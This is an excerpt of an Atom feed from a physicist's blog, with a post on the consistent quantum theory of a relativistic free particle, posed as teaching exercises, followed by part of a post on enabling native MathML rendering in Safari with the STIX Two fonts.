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  4.  <title>Musings</title>
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  8.  <updated>2017-03-19T07:48:50Z</updated>
  9.  <subtitle>Thoughts on Science, Computing, and Life on Earth.</subtitle>
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  13.  <rights>Copyright (c) 2017, Jacques Distler</rights>
  14.  <entry>
  15.    <title type="html">Responsibility</title>
  16.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002943.html" />
  17.    <updated>2017-03-19T07:48:50Z</updated>
  18.    <published>2017-02-24T18:13:18-06:00</published>
  19.    <id>tag:golem.ph.utexas.edu,2017:%2F~distler%2Fblog%2F1.2943</id>
  20.    <summary type="text">The quantum theory of the relativistic free particle</summary>
  21.    <author>
  22.      <name>distler</name>
  23.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  24.      <email>[email protected]</email>
  25.    </author>
  26.    <category term="Physics" />
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  29. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  30.  
  31. <p>Many years ago, when I was an assistant professor at Princeton, there was a cocktail party at Curt Callan&#8217;s house to mark the beginning of the semester. There, I found myself in the kitchen, chatting with Sacha Polyakov. I asked him what he was going to be teaching that semester, and he replied that he was very nervous because &#8212; for the first time in his life &#8212; he would be teaching an undergraduate course. After my initial surprise that he had gotten this far in life without ever having taught an undergraduate course, I asked which course it was. He said it was the advanced undergraduate Mechanics course (chaos, etc.) and we agreed that would be a fun subject to teach. We chatted some more, and then he said that, on reflection, he probably shouldn&#8217;t be quite so worried. After all, it wasn&#8217;t as if he was going to teach Quantum Field Theory, &#8220;That&#8217;s a subject I&#8217;d feel <em>responsible</em> for.&#8221;</p>
  32.  
  33. <p>This remark stuck with me, but it never seemed quite so poignant until this semester, when I find myself teaching the undergraduate particle physics course.</p>
  34.  
  35. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  36.  
  37. <p>The textbooks (and I mean <em>all</em> of them) start off by &#8220;explaining&#8221; that relativistic quantum mechanics (e.g. replacing the Schr&#xf6;dinger equation with Klein-Gordon) make no sense (negative probabilities and all that &#8230;). And they then proceed to use it anyway (supplemented by some Feynman rules pulled out of thin air).</p>
  38.  
  39. <p>This drives me up the #@%^ing wall. It is <em>precisely</em> wrong.</p>
  40.  
  41. <p>There is a <em>perfectly</em> consistent quantum mechanical theory of free particles. The <em>problem</em> arises when you want to introduce interactions. In Special Relativity, there is no interaction-at-a-distance; all forces are necessarily mediated by fields. Those fields fluctuate and, when you want to study the quantum theory, you end up having to quantize them.</p>
  42.  
  43. <p>But the free particle is just fine. Of course it has to be: free field theory is just the theory of an (indefinite number of) free particles. So it better be true that the quantum theory of a single relativistic free particle makes sense.</p>
  44.  
  45. <p>So what is that theory?</p>
  46.  
  47. <ol>
  48. <li>It has a Hilbert space, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0210B;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{H}</annotation></semantics></math>, of states. To make the action of Lorentz transformations as simple as possible, it behoves us to use a Lorentz-invariant inner product on that Hilbert space. This is most easily done in the momentum representation
  49. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mo stretchy="false">&#x027E8;</mo><mi>&#x003C7;</mi><mo stretchy="false">&#x0007C;</mo><mi>&#x03D5;</mi><mo stretchy="false">&#x027E9;</mo><mo>=</mo><mo>&#x0222B;</mo><mfrac><mrow><msup><mi>d</mi> <mn>3</mn></msup><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover></mrow><mrow><msup><mrow><mo stretchy="false">(</mo><mn>2</mn><mi>&#x003C0;</mi><mo stretchy="false">)</mo></mrow> <mn>3</mn></msup><mn>2</mn><msqrt><mrow><msup><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover> <mn>2</mn></msup><mo>+</mo><msup><mi>m</mi> <mn>2</mn></msup></mrow></msqrt></mrow></mfrac><mspace width="thinmathspace"/><mi>&#x003C7;</mi><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover><msup><mo stretchy="false">)</mo> <mo>*</mo></msup><mi>&#x03D5;</mi><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>
  50. \langle\chi|\phi\rangle = \int \frac{d^3\vec{k}}{{(2\pi)}^3 2\sqrt{\vec{k}^2+m^2}}\, \chi(\vec{k})^* \phi(\vec{k})
  51. </annotation></semantics></math></li>
  52. <li>As usual, the time-evolution is given by a Schr&#xf6;dinger equation</li>
  53. </ol>
  54.  
  55. <div class="numberedEq" id="e2943:Schroedinger"><span>(1)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>i</mi><msub><mo>&#x02202;</mo> <mi>t</mi></msub><mo stretchy="false">&#x0007C;</mo><mi>&#x003C8;</mi><mo stretchy="false">&#x027E9;</mo><mo>=</mo><msub><mi>H</mi> <mn>0</mn></msub><mo stretchy="false">&#x0007C;</mo><mi>&#x003C8;</mi><mo stretchy="false">&#x027E9;</mo></mrow><annotation encoding='application/x-tex'>i\partial_t |\psi\rangle = H_0 |\psi\rangle
  56. </annotation></semantics></math></div>
  57.  
  58. <p>where <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>H</mi> <mn>0</mn></msub><mo>=</mo><msqrt><mrow><msup><mover><mi>p</mi><mo stretchy="false">&#x021C0;</mo></mover> <mn>2</mn></msup><mo>+</mo><msup><mi>m</mi> <mn>2</mn></msup></mrow></msqrt></mrow><annotation encoding='application/x-tex'>H_0 = \sqrt{\vec{p}^2+m^2}</annotation></semantics></math>. Now, you might object that it is hard to make sense of a pseudo-differential operator like <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>H</mi> <mn>0</mn></msub></mrow><annotation encoding='application/x-tex'>H_0</annotation></semantics></math>. Perhaps. But it&#8217;s not <em>any</em> harder than making sense of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>U</mi><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><msup><mi>e</mi> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mi>i</mi><msup><mover><mi>p</mi><mo stretchy="false">&#x021C0;</mo></mover> <mn>2</mn></msup><mi>t</mi><mo stretchy="false">/</mo><mn>2</mn><mi>m</mi></mrow></msup></mrow><annotation encoding='application/x-tex'>U(t)= e^{&#x2d;i \vec{p}^2 t/2m}</annotation></semantics></math>, which we routinely pretend to do in elementary quantum. In both cases, we use the fact that, in the momentum representation, the operator <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>p</mi><mo stretchy="false">&#x021C0;</mo></mover></mrow><annotation encoding='application/x-tex'>\vec{p}</annotation></semantics></math> is represented as multiplication by <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover></mrow><annotation encoding='application/x-tex'>\vec{k}</annotation></semantics></math>.</p>
  59.  
  60. <p>I could go on, but let me leave the rest of the development of the theory as a series of questions.</p>
  61.  
  62. <ol>
  63. <li>The self-adjoint operator, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>x</mi><mo stretchy="false">&#x021C0;</mo></mover></mrow><annotation encoding='application/x-tex'>\vec{x}</annotation></semantics></math>, satisfies
  64. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mo stretchy="false">[</mo><msup><mi>x</mi> <mi>i</mi></msup><mo>,</mo><msub><mi>p</mi> <mi>j</mi></msub><mo stretchy="false">]</mo><mo>=</mo><mi>i</mi><msubsup><mi>&#x003B4;</mi> <mi>j</mi> <mi>i</mi></msubsup></mrow><annotation encoding='application/x-tex'>
  65. [x^i,p_j] = i \delta^{i}_j
  66. </annotation></semantics></math>
  67. Thus it can be written in the form
  68. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msup><mi>x</mi> <mi>i</mi></msup><mo>=</mo><mi>i</mi><mrow><mo>(</mo><mfrac><mo>&#x02202;</mo><mrow><mo>&#x02202;</mo><msub><mi>k</mi> <mi>i</mi></msub></mrow></mfrac><mo>+</mo><msub><mi>f</mi> <mi>i</mi></msub><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover><mo stretchy="false">)</mo><mo>)</mo></mrow></mrow><annotation encoding='application/x-tex'>
  69.  x^i = i\left(\frac{\partial}{\partial k_i} + f_i(\vec{k})\right)
  70. </annotation></semantics></math>
  71. for some real function <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>f</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>f_i</annotation></semantics></math>. What is <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>f</mi> <mi>i</mi></msub><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>f_i(\vec{k})</annotation></semantics></math>?</li>
  72. <li>Define <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>J</mi> <mn>0</mn></msup><mo stretchy="false">(</mo><mover><mi>r</mi><mo stretchy="false">&#x021C0;</mo></mover><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>J^0(\vec{r})</annotation></semantics></math> to be the probability density. That is, when the particle is in state <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">&#x0007C;</mo><mi>&#x03D5;</mi><mo stretchy="false">&#x027E9;</mo></mrow><annotation encoding='application/x-tex'>|\phi\rangle</annotation></semantics></math>, the probability for finding it in some Borel subset <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>S</mi><mo>&#x02282;</mo><msup><mi>&#x0211D;</mi> <mn>3</mn></msup></mrow><annotation encoding='application/x-tex'>S\subset\mathbb{R}^3</annotation></semantics></math> is given by
  73. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mtext>Prob</mtext><mo stretchy="false">(</mo><mi>S</mi><mo stretchy="false">)</mo><mo>=</mo><msub><mo>&#x0222B;</mo> <mi>S</mi></msub><msup><mi>d</mi> <mn>3</mn></msup><mover><mi>r</mi><mo stretchy="false">&#x021C0;</mo></mover><msup><mi>J</mi> <mn>0</mn></msup><mo stretchy="false">(</mo><mover><mi>r</mi><mo stretchy="false">&#x021C0;</mo></mover><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>
  74.   \text{Prob}(S) = \int_S d^3\vec{r} J^0(\vec{r})
  75. </annotation></semantics></math>
  76. Obviously, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>J</mi> <mn>0</mn></msup><mo stretchy="false">(</mo><mover><mi>r</mi><mo stretchy="false">&#x021C0;</mo></mover><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>J^0(\vec{r})</annotation></semantics></math> must take the form
  77. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msup><mi>J</mi> <mn>0</mn></msup><mo stretchy="false">(</mo><mover><mi>r</mi><mo stretchy="false">&#x021C0;</mo></mover><mo stretchy="false">)</mo><mo>=</mo><mo>&#x0222B;</mo><mfrac><mrow><msup><mi>d</mi> <mn>3</mn></msup><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover><msup><mi>d</mi> <mn>3</mn></msup><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover><mo>&#x02032;</mo></mrow><mrow><msup><mrow><mo stretchy="false">(</mo><mn>2</mn><mi>&#x003C0;</mi><mo stretchy="false">)</mo></mrow> <mn>6</mn></msup><mn>4</mn><msqrt><mrow><msup><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover> <mn>2</mn></msup><mo>+</mo><msup><mi>m</mi> <mn>2</mn></msup></mrow></msqrt><msqrt><mrow><msup><mrow><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover><mo>&#x02032;</mo></mrow> <mn>2</mn></msup><mo>+</mo><msup><mi>m</mi> <mn>2</mn></msup></mrow></msqrt></mrow></mfrac><mi>g</mi><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover><mo>,</mo><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover><mo>&#x02032;</mo><mo stretchy="false">)</mo><msup><mi>e</mi> <mrow><mi>i</mi><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover><mo>&#x02212;</mo><mover><mrow><mi>k</mi><mo>&#x02032;</mo></mrow><mo stretchy="false">&#x021C0;</mo></mover><mo stretchy="false">)</mo><mo>&#x022C5;</mo><mover><mi>r</mi><mo stretchy="false">&#x021C0;</mo></mover></mrow></msup><mi>&#x03D5;</mi><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover><mo stretchy="false">)</mo><mi>&#x03D5;</mi><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover><mo>&#x02032;</mo><msup><mo stretchy="false">)</mo> <mo>*</mo></msup></mrow><annotation encoding='application/x-tex'>
  78. J^0(\vec{r}) = \int\frac{d^3\vec{k}d^3\vec{k}&apos;}{{(2\pi)}^6 4\sqrt{\vec{k}^2+m^2}\sqrt{{\vec{k}&apos;}^2+m^2}} g(\vec{k},\vec{k}&apos;) e^{i(\vec{k}&#x2d;\vec{k&apos;})\cdot\vec{r}}\phi(\vec{k})\phi(\vec{k}&apos;)^*
  79. </annotation></semantics></math>
  80. Find <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>g</mi><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover><mo>,</mo><mover><mi>k</mi><mo stretchy="false">&#x021C0;</mo></mover><mo>&#x02032;</mo><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>g(\vec{k},\vec{k}&apos;)</annotation></semantics></math>. (Hint: you need to diagonalize the operator <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>x</mi><mo stretchy="false">&#x021C0;</mo></mover></mrow><annotation encoding='application/x-tex'>\vec{x}</annotation></semantics></math> that you found in problem 1.)</li>
  81. <li>The conservation of probability says
  82. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mn>0</mn><mo>=</mo><msub><mo>&#x02202;</mo> <mi>t</mi></msub><msup><mi>J</mi> <mn>0</mn></msup><mo>+</mo><msub><mo>&#x02202;</mo> <mi>i</mi></msub><msup><mi>J</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>
  83. 0=\partial_t J^0 + \partial_i J^i
  84. </annotation></semantics></math>
  85. Use the Schr&#xf6;dinger equation (<a href="#e2943:Schroedinger">1</a>) to find <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>J</mi> <mi>i</mi></msup><mo stretchy="false">(</mo><mover><mi>r</mi><mo stretchy="false">&#x021C0;</mo></mover><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>J^i(\vec{r})</annotation></semantics></math>.</li>
  86. <li>Under Lorentz transformations, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>H</mi> <mn>0</mn></msub></mrow><annotation encoding='application/x-tex'>H_0</annotation></semantics></math> and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>p</mi><mo stretchy="false">&#x021C0;</mo></mover></mrow><annotation encoding='application/x-tex'>\vec{p}</annotation></semantics></math> transform as the components of a 4-vector. For a boost in the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>z</mi></mrow><annotation encoding='application/x-tex'>z</annotation></semantics></math>-direction, of rapidity <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003BB;</mi></mrow><annotation encoding='application/x-tex'>\lambda</annotation></semantics></math>, we should have
  87. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mrow><mtable displaystyle="true" columnalign="right left right left right left right left right left" columnspacing="0em"><mtr><mtd><msub><mi>U</mi> <mi>&#x003BB;</mi></msub><msqrt><mrow><msup><mover><mi>p</mi><mo stretchy="false">&#x021C0;</mo></mover> <mn>2</mn></msup><mo>+</mo><msup><mi>m</mi> <mn>2</mn></msup></mrow></msqrt><msubsup><mi>U</mi> <mi>&#x003BB;</mi> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mn>1</mn></mrow></msubsup></mtd> <mtd><mo>=</mo><mi>cosh</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo stretchy="false">)</mo><msqrt><mrow><msup><mover><mi>p</mi><mo stretchy="false">&#x021C0;</mo></mover> <mn>2</mn></msup><mo>+</mo><msup><mi>m</mi> <mn>2</mn></msup></mrow></msqrt><mo>+</mo><mi>sinh</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo stretchy="false">)</mo><msub><mi>p</mi> <mn>3</mn></msub></mtd></mtr> <mtr><mtd><msub><mi>U</mi> <mi>&#x003BB;</mi></msub><msub><mi>p</mi> <mn>1</mn></msub><msubsup><mi>U</mi> <mi>&#x003BB;</mi> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mn>1</mn></mrow></msubsup></mtd> <mtd><mo>=</mo><msub><mi>p</mi> <mn>1</mn></msub></mtd></mtr> <mtr><mtd><msub><mi>U</mi> <mi>&#x003BB;</mi></msub><msub><mi>p</mi> <mn>2</mn></msub><msubsup><mi>U</mi> <mi>&#x003BB;</mi> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mn>1</mn></mrow></msubsup></mtd> <mtd><mo>=</mo><msub><mi>p</mi> <mn>3</mn></msub></mtd></mtr> <mtr><mtd><msub><mi>U</mi> <mi>&#x003BB;</mi></msub><msub><mi>p</mi> <mn>3</mn></msub><msubsup><mi>U</mi> <mi>&#x003BB;</mi> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mn>1</mn></mrow></msubsup></mtd> <mtd><mo>=</mo><mi>sinh</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo stretchy="false">)</mo><msqrt><mrow><msup><mover><mi>p</mi><mo stretchy="false">&#x021C0;</mo></mover> <mn>2</mn></msup><mo>+</mo><msup><mi>m</mi> <mn>2</mn></msup></mrow></msqrt><mo>+</mo><mi>cosh</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo stretchy="false">)</mo><msub><mi>p</mi> <mn>3</mn></msub></mtd></mtr></mtable></mrow></mrow><annotation encoding='application/x-tex'>
  88. \begin{split}
  89. U_\lambda \sqrt{\vec{p}^2+m^2} U_\lambda^{&#x2d;1} &amp;= \cosh(\lambda) \sqrt{\vec{p}^2+m^2} + \sinh(\lambda) p_3\\
  90. U_\lambda p_1 U_\lambda^{&#x2d;1} &amp;= p_1\\
  91. U_\lambda p_2 U_\lambda^{&#x2d;1} &amp;= p_3\\
  92. U_\lambda p_3 U_\lambda^{&#x2d;1} &amp;= \sinh(\lambda) \sqrt{\vec{p}^2+m^2} + \cosh(\lambda) p_3
  93. \end{split}
  94. </annotation></semantics></math>
  95. and we should be able to write <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>U</mi> <mi>&#x003BB;</mi></msub><mo>=</mo><msup><mi>e</mi> <mrow><mi>i</mi><mi>&#x003BB;</mi><mi>B</mi></mrow></msup></mrow><annotation encoding='application/x-tex'>U_\lambda = e^{i\lambda B}</annotation></semantics></math> for some self-adjoint operator, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>B</mi></mrow><annotation encoding='application/x-tex'>B</annotation></semantics></math>. What is <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>B</mi></mrow><annotation encoding='application/x-tex'>B</annotation></semantics></math>? (N.B.: by contrast the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>x</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>x^i</annotation></semantics></math>, introduced above, do <em>not</em> transform in a simple way under Lorentz transformations.)</li>
  96. </ol>
  97.  
  98. <p>The Hilbert space of a free scalar field is now <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msubsup><mo lspace="thinmathspace" rspace="thinmathspace">&#x02A01;</mo> <mrow><mi>n</mi><mo>=</mo><mn>0</mn></mrow> <mn>&#x0221E;</mn></msubsup><msup><mtext>Sym</mtext> <mi>n</mi></msup><mi>&#x0210B;</mi></mrow><annotation encoding='application/x-tex'>\bigoplus_{n=0}^\infty \text{Sym}^n\mathcal{H}</annotation></semantics></math>. That&#8217;s perhaps not the easiest way to get there. But it is a way &#8230;</p>
  99.  
  100. <h4 id="RespU1" class="update">Update:</h4>
  101.  
  102. <p>Yike! Well, that went south pretty fast. For the first time (ever, I think) I&#8217;m closing comments on this one, and calling it a day. To summarize, for those who still care,</p>
  103.  
  104. <ol>
  105. <li>There is a decomposition of the Hilbert space of a Free Scalar field as
  106. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>&#x0210B;</mi> <mi>&#x03D5;</mi></msub><mo>=</mo><munderover><mo lspace="thinmathspace" rspace="thinmathspace">&#x02A01;</mo> <mrow><mi>n</mi><mo>=</mo><mn>0</mn></mrow> <mn>&#x0221E;</mn></munderover><msub><mi>&#x0210B;</mi> <mi>n</mi></msub></mrow><annotation encoding='application/x-tex'>
  107.    \mathcal{H}_\phi = \bigoplus_{n=0}^\infty \mathcal{H}_n
  108.   </annotation></semantics></math>
  109. where
  110. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>&#x0210B;</mi> <mi>n</mi></msub><mo>=</mo><msup><mtext>Sym</mtext> <mi>n</mi></msup><mi>&#x0210B;</mi></mrow><annotation encoding='application/x-tex'>
  111.   \mathcal{H}_n = \text{Sym}^n \mathcal{H}
  112.   </annotation></semantics></math>
  113. and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0210B;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{H}</annotation></semantics></math> is 1-particle Hilbert space described above (also known as the spin-<math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mn>0</mn></mrow><annotation encoding='application/x-tex'>0</annotation></semantics></math>, mass-<math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>m</mi></mrow><annotation encoding='application/x-tex'>m</annotation></semantics></math>,
  114. irreducible unitary representation of Poincar&#x000E9;).</li>
  115. <li>The Hamiltonian of the Free Scalar field is the direct sum of the induced Hamiltonia on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x0210B;</mi> <mi>n</mi></msub></mrow><annotation encoding='application/x-tex'>\mathcal{H}_n</annotation></semantics></math>, induced
  116. from the Hamiltonian, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>H</mi><mo>=</mo><msqrt><mrow><msup><mover><mi>p</mi><mo stretchy="false">&#x021C0;</mo></mover> <mn>2</mn></msup><mo>+</mo><msup><mi>m</mi> <mn>2</mn></msup></mrow></msqrt></mrow><annotation encoding='application/x-tex'>H=\sqrt{\vec{p}^2+m^2}</annotation></semantics></math>, on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0210B;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{H}</annotation></semantics></math>. In particular, it (along with the other
  117. Poincar&#x000E9; generators) is block-diagonal with respect to this decomposition.</li>
  118. <li>There are other interesting observables which are also block-diagonal, with respect to this decomposition
  119. (i.e., don&#8217;t change the particle number) and hence we can discuss their restriction to <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x0210B;</mi> <mi>n</mi></msub></mrow><annotation encoding='application/x-tex'>\mathcal{H}_n</annotation></semantics></math>.</li>
  120. </ol>
  121.  
  122. <p>Gotta keep reminding myself why I decided to foreswear blogging&#8230;</p>
  123.  
  124.      </div>
  125.    </content>
  126.  </entry>
  127.  <entry>
  128.    <title type="html">MathML Update</title>
  129.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002926.html" />
  130.    <updated>2016-12-14T15:00:56Z</updated>
  131.    <published>2016-12-04T14:56:38-06:00</published>
  132.    <id>tag:golem.ph.utexas.edu,2016:%2F~distler%2Fblog%2F1.2926</id>
  133.    <summary type="text">Native MathML rendering in Safari</summary>
  134.    <author>
  135.      <name>distler</name>
  136.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  137.      <email>[email protected]</email>
  138.    </author>
  139.    <category term="MathML" />
  140.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002926.html">
  141.      <div xmlns="http://www.w3.org/1999/xhtml">
  142. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  143.  
  144. <p>For a while now, <a href="http://frederic-wang.fr/">Fr&#x000E9;d&#x000E9;ric Wang</a> has been urging me to enable native <acronym title="Mathematical Markup Language">MathML</acronym> rendering for Safari. He and <a href="https://www.igalia.com/">his colleagues</a> have made many improvements to Webkit&#8217;s <acronym>MathML</acronym> support. But there were at least two show-stopper bugs that prevented me from flipping the switch.</p>
  145.  
  146. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  147.  
  148. <p>Fortunately:</p>
  149.  
  150. <ul>
  151. <li>The <a href="http://stixfonts.org/">STIX Two fonts</a> were released this week. They represent a big improvement on Version 1, and are finally definitively better than LatinModern for displaying <acronym>MathML</acronym> on the web. Most interestingly, they fix <a href="https://bugs.webkit.org/show_bug.cgi?id=161189">this bug</a>. That means I can bundle these fonts<sup><a href="#MMLf1">1</a></sup>, solving both that problem and the more generic problem of users not having a good set of Math fonts installed.</li>
  152. <li>Thus inspired, I wrote a little <a href="https://golem.ph.utexas.edu/~distler/code/instiki/svn/revision/887#public/javascripts/page_helper.js">Javascript polyfill</a> to fix <a href="https://bugs.webkit.org/show_bug.cgi?id=160075">the other bug</a>.</li>
  153. </ul>
  154.  
  155. <p>While there are still a lot of remaining issues (for instance <del><a href="https://bugs.webkit.org/show_bug.cgi?id=160547">this one</a></del> <ins><a href="https://golem.ph.utexas.edu/~distler/code/instiki/svn/revision/892/public/javascripts/page_helper.js">fixed</a></ins>), I think Safari&#8217;s native <acronym>MathML</acronym> rendering is now good enough for everyday use (and, in enough respects, superior to <a href="http://www.mathjax.org">MathJax</a>&#8217;s) to enable it <em>by default</em> in <a href="https://golem.ph.utexas.edu/wiki/instiki/show/HomePage">Instiki</a>, <a href="https://golem.ph.utexas.edu/forum/">Heterotic Beast</a> and on this blog.</p>
  156.  
  157. <p>Of course, you&#8217;ll need to be using<sup><a href="#MMLf2">2</a></sup> Safari 10.1 or <a href="https://developer.apple.com/safari/download/">Safari Technology Preview</a>. </p>
  158.  
  159. <div id="MathMLU1" class="update"><h4>Update:</h4> Another nice benefit of STIX Two fonts is that <a href="https://golem.ph.utexas.edu/~distler/blog/itex2MMLcommands.html">itex</a> can support both Chancery (<code>\mathcal{}</code>) and Roundhand (<code>\mathscr{}</code>) symbols
  160. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mrow><mtable displaystyle="true" columnalign="right left right left right left right left right left" columnspacing="0em"><mtr><mtd><mo>&#x0005C;</mo><mstyle mathvariant="monospace"><mi>mathcal</mi></mstyle><mo stretchy="false">{</mo><mo stretchy="false">}</mo><mo>:</mo></mtd> <mtd><mspace width="thinmathspace"/><mi>&#x1D49C;&#x0212C;&#x1D49E;&#x1D49F;&#x02130;&#x02131;&#x1D4A2;&#x0210B;&#x02110;&#x1D4A5;&#x1D4A6;&#x02112;&#x02133;&#x1D4A9;&#x1D4AA;&#x1D4AB;&#x1D4AC;&#x0211B;&#x1D4AE;&#x1D4AF;&#x1D4B0;&#x1D4B1;&#x1D4B2;&#x1D4B3;&#x1D4B4;&#x1D4B5;</mi></mtd></mtr> <mtr><mtd><mo>&#x0005C;</mo><mstyle mathvariant="monospace"><mi>mathscr</mi></mstyle><mo stretchy="false">{</mo><mo stretchy="false">}</mo><mo>:</mo></mtd> <mtd><mspace width="thinmathspace"/><mi 